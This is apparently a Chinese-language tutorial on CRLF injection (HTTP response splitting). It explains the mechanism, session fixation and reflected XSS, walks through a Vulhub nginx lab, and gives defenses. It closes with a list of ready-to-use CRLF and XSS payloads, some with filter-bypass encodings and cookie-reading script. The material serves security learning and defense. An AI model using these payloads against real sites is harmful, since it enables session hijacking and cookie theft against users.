Vulhub：CRLF注入漏洞

目录

漏洞原理

漏洞危害

漏洞靶场

挖掘与防护

CLRF Payload

---

漏洞原理

在HTTP报文中，HTTP header 之间是由一个CRLF字符序列分隔开的，HTTP Header 与 Body 是用两个CRLF分隔的，浏览器根据这两个CRLF来取出HTTP内容并显示出来。一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以如果用户的输入在HTTP返回包的Header处回显，便可以通过CRLF来提前结束响应头，在响应内容处注入攻击脚本。因此CRLF Injection 又叫HTTP响应拆分/截断（ HTTP Response Splitting ）简称HRS。

CRLF注入漏洞是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符串。攻击者一旦请求行或者首部中的字段注入恶意的CLRF就能注入一些首部字段或报文主体，并在响应体中输出，所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)

知识扩展

行结束符作用->键盘上的回车键(Enter)就可以执行该操作

• 回车符：光标移到行首
• 换行符：光标垂直移到下行

不同操作系统的行结束符

• Windows：使用CRLF表示行的结束 (\r\n)
• Linux/Unix：使用LF表示行的结束 (\n)
• MacOS：早期使用CR表示，现在好像也用LF表示行的结束

漏洞危害

我们可以通过控制信息头的字符来注入一些恶意代码，如实现注入 cookies 和 html代码，而 CRLF 漏洞可以造成Cookie会话固定漏洞和反射型XSS（可过waf）的危害，且主要是设置任意的响应头，控制响应正文这两种主要的利用办法。具体的危害表现在：会话固定/XSS/缓存病毒攻击/日志伪造等等

XSS与CRLF攻击的区别：

XSS和CRLF的注入比较像，不过XSS是注入到主体内容，而CRLF是注入到HTTP响应头

CRLF漏洞注入点主要在重定向或者跳转的地方

会话固定(Session Fixation)：

什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示：

一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn

当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite

则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite

攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。

反射型XSS

综合上述案例，如果我们输入的是

%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>

则返回包会变为如下内容，即返回到用户的浏览器中执行JS代码造成类似于XSS的攻击效果

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:http://www.sinay.com.cn

<img src=1 οnerrοr=alert(/xss/)>

漏洞靶场

进入Vulhub路径并启动靶场

cd vulhub/nginx/insecure-configuration
docker-compose build
docker-compose up -d
docker-compose ps

在浏览器中访问： http://192.168.109.133:8080/（ip 是虚拟机的 ip）

使用 Burp 抓包

发送到 repeater，拼接以下路径后发送后Nginx会将$uri进行解码，导致传入的 %0a%0d 即可引入换行符从而造成CRLF注入漏洞

payload：

/%0d%0aSet-Cookie:%201234

挖掘与防护

漏洞挖掘

挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：

观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等

漏洞防护

要避免http响应截断，需要注意以下几点

对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
在将数据传送到http响应头之前，删除所有的换行符

CLRF Payload

%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
/www.google.com/%2f%2e%2e%0d%0aheader:header
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
https://www.anquanke.com/post/id/240014#h2-16
https://blog.csdn.net/m0_51468027/article/details/129803334?
ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169518156716800186540074%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169518156716800186540074&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-1-129803334-null-null.142^v94^insert_down28v1&utm_term=CRLF%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187